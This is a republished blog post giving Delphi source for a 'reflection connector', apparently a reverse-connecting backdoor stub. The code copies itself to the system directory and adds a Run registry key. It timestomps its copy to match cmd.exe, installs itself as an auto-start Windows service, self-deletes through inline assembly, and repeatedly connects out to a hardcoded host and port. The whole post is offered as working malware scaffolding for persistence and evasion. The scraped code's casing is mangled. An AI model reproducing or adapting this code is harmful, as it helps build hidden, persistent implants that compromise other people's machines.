A simple reflection connector (modify file time, and create a Windows service)

Source: Internet
Author: User

Program Svrdemo;


Uses
Windows
Winsvc,
Winsock


Const
Regname = ' Svrdemo ';


Var
Szservicename:pchar = ' Svrdemo ';
Szfilename:pchar;
Servicetable:array [0..1] of tservicetableentry;
Status:service_status;
Statushandle:service_status_handle;
Stopped:boolean;
Paused:boolean;
Cmd:array[0..max_path] of Char;


Get System Directory
function Getdirectory (Dint:integer): string;
Var
S:ARRAY[0..255] of Char;
Begin
Case DInt of
0:getwindowsdirectory (@s, 256); Path to the Windows Installer folder
1:getsystemdirectory (@s, 256); The path that exists in the System file folder
2:gettemppath (256,@s); The path that exists in the Temp file folder
End
If dint=2 Then
Result: =string (s)
Else
Result: = String (s) + ' \ ';
End


Set file time
Procedure SetTime (Srcfile,destfile:pchar);
Var
Hfileold,hfilenew:thandle;
CreationTime, LastAccessTime, LastWriteTime:P filetime;
Begin
Hfileold: =createfile (Srcfile,generic_read,file_share_read,nil,
Open_existing,file_attribute_normal,cardinal (nil));
if (hfileold=invalid_handle_value) then exit;
Hfilenew: =createfile (Destfile,generic_write,file_share_write,nil,
Open_existing,file_attribute_normal,cardinal (nil));
if (hfilenew=invalid_handle_value) then exit;
Getmem (creationtime,sizeof (tfiletime));
Getmem (lastaccesstime,sizeof (tfiletime));
Getmem (lastwritetime,sizeof (tfiletime));
Getfiletime (Hfileold,creationtime,lastaccesstime,lastwritetime);
Setfiletime (Hfilenew,creationtime,lastaccesstime,lastwritetime);
Freemem (CreationTime);
Freemem (LastAccessTime);
Freemem (LastWriteTime);
CloseHandle (hfilenew);
CloseHandle (Hfileold);
End


function Lookupname (const name:string): TINADDR;
Var
Hostent:phostent;
INADDR:TINADDR;
Begin
Hostent: = gethostbyname (Pansichar (Name));
Fillchar (Inaddr, SizeOf (INADDR), 0);
If hostent <> Nil Then
Begin
With Inaddr, hostent^ do
Begin
S_UN_B.S_B1: = H_addr^[0];
S_UN_B.S_B2: = h_addr^[1];
S_UN_B.S_B3: = h_addr^[2];
S_UN_B.S_B4: = H_addr^[3];
End
End
Result: = inaddr;
End


function startnet (Host:string;port:integer;var sock:integer): Boolean;
Var
Wsadata:twsadata;
Fsocket:integer;
Sockaddrin:tsockaddrin;
Err:integer;
Begin
Err:=wsastartup ($0101,wsadata);
Fsocket:=socket (PF_INET,SOCK_STREAM,IPPROTO_IP);
If Fsocket=invalid_socket Then
Begin
Result:=false;
Exit;
End
Sockaddrin.sin_addr:=lookupname (host);
sockaddrin.sin_family: = pf_inet;
Sockaddrin.sin_port: =htons (port);
Err:=connect (Fsocket,sockaddrin, SizeOf (Sockaddrin));
If Err=0 Then
Begin
Sock:=fsocket;
Result:=true;
End Else
Begin
Result:=false;
End
End


Procedure Delme;
Var
Module:hmodule;
Buf:array[0..max_path-1] of Char;
P:ulong;
Hkrnl32:hmodule;
Pexitprocess, Pdeletefile, Pfreelibrary:pointer;
Begin
Module: = GetModuleHandle (nil);
GetModuleFileName (module, buf, sizeof (BUF));
CloseHandle (Thandle (4));
P: = ULONG (module) + 1;
HKrnl32: = GetModuleHandle (' kernel32 ');
Pexitprocess: = GetProcAddress (hKrnl32, ' exitprocess ');
Pdeletefile: = GetProcAddress (hKrnl32, ' DeleteFileA ');
Pfreelibrary: = GetProcAddress (hKrnl32, ' freelibrary ');
Asm
Lea EAX, BUF
Push 0
Push 0
Push EAX
Push pexitprocess
Push P
Push Pdeletefile
Push Pfreelibrary
Ret
End
End


function Setregvalue (key:hkey; subkey,name,value:string): Boolean;
Var
Regkey:hkey;
Begin
Result: = false;
RegCreateKey (Key,pchar (subkey), RegKey);
If RegSetValueEx (Regkey,pchar (name), 0,reg_expand_sz,pchar (value), length (value)) = 0 Then
Result: = true;
RegCloseKey (RegKey);
End


Procedure Setdelvalue (Root:hkey; Path, value:string);
Var
Key:hkey;
Begin
RegOpenKeyEx (ROOT, PChar (Path), 0, key_all_access, KEY);
Regdeletevalue (Key, PChar (Value));
RegCloseKey (Key);
End


function Installservice (ServiceName, DisplayName, filename:string): boolean;
Var
Scmanager,service:thandle;
Args:pchar;
Begin
Result: = False;
Scmanager: = OpenSCManager (nil, nil, sc_manager_all_access);
If Scmanager = 0 then Exit;
Try
Service: = CreateService (Scmanager,//Handle
PChar (ServiceName),//service name
PChar (DisplayName),//Display service name
Service_all_access,//service access type
Service_win32_own_process,//service type or service_interactive_process
Service_Auto_Start,//auto-start service
Service_error_ignore,//Ignore errors
PChar (filename),//Startup file name
Nil,//name of load ordering group (load group name) ' LocalSystem '
Nil,//Tag identifier
Nil,//correlation array name
Nil,//account (current)
NIL); Password (current)


Args: = nil;
StartService (Service, 0, Args);
Closeservicehandle (Service);
Finally
Closeservicehandle (Scmanager);
End
Result: = True;
End


Procedure Uninstallservice (servicename:string);
Var
Scmanager,service:thandle;
Servicestatus:service_status;
Begin
Scmanager: = OpenSCManager (nil, nil, sc_manager_all_access);
If Scmanager = 0 then Exit;
Try
Service: = OpenService (Scmanager, PChar (ServiceName), service_all_access);
ControlService (Service, Service_control_stop, servicestatus);
DeleteService (Service);
Closeservicehandle (Service);
Finally
Closeservicehandle (Scmanager);
End
End


Procedure Servicectrlhandler (Control:dword); stdcall;
Begin
Case Control of
Service_control_stop:
Begin
Stopped: = True;
Status.dwcurrentstate: = service_stopped;
End
Service_control_pause:
Begin
Paused: = True;
Status.dwcurrentstate: = service_paused;
End
Service_control_continue:
Begin
Paused: = False;
Status.dwcurrentstate: = service_running;
End
Service_control_interrogate:;
service_control_shutdown:stopped: = True;
End
SetServiceStatus (Statushandle, Status);
End


Procedure ServiceMain;
Var
S:integer;
msg:tmsg;
Begin
{while (GetMessage (msg,0,0,0)) does
Begin
TranslateMessage (MSG);
DispatchMessage (MSG);
End }
Repeat
If not Paused then
Begin
StartNet (' 127.0.0.1 ', 600,s);
Sleep (2000);
End
Until Stopped;
ExitProcess (0);
End


Procedure Servicectrldispatcher (Dwargc:dword; var lpszargv:pchar); stdcall;
Begin
Statushandle: = RegisterServiceCtrlHandler (Szservicename, @ServiceCtrlHandler);
If Statushandle <> 0 Then
Begin
ZeroMemory (@Status, SizeOf (Status));
Status.dwservicetype: = Service_win32_own_process or service_interactive_process;
Status.dwcurrentstate:= service_start_pending;
status.dwcontrolsaccepted: = Service_accept_stop or service_accept_pause_continue;
Status.dwwaithint: = 1000;
SetServiceStatus (Statushandle, Status);
Stopped: = False;
Paused: = False;
Status.dwcurrentstate: = service_running;
SetServiceStatus (Statushandle, Status);
ServiceMain;
End
End


Procedure Main;
Begin
szFileName: =pchar (getdirectory (1) + Szservicename + '. exe ');
If PARAMSTR (1) = ' U ' Then
Begin
Uninstallservice (Szservicename);
Setdelvalue (HKEY_LOCAL_MACHINE, ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ', regname);
End Else
Begin
GetModuleFileName (Hinstance,cmd,max_path);
Servicetable[0].lpservicename: = Szservicename;
Servicetable[0].lpserviceproc: = @ServiceCtrlDispatcher;
Servicetable[1].lpservicename: = nil;
Servicetable[1].lpserviceproc: = nil;
StartServiceCtrlDispatcher (Servicetable[0]);
If CopyFile (Cmd,szfilename,false) Then
Begin
Setregvalue (HKEY_LOCAL_MACHINE, ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ', regname,szfilename);
SetTime (PChar (getdirectory (1) + ' cmd.exe '), szFileName);
Installservice (Szservicename, Szservicename, szFileName);
Delme;
End
End
End


Begin
Main;
End.

http://blog.csdn.net/diligentcatrich/article/details/24466661

A simple reflection connector (modify file time, and create a Windows service)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.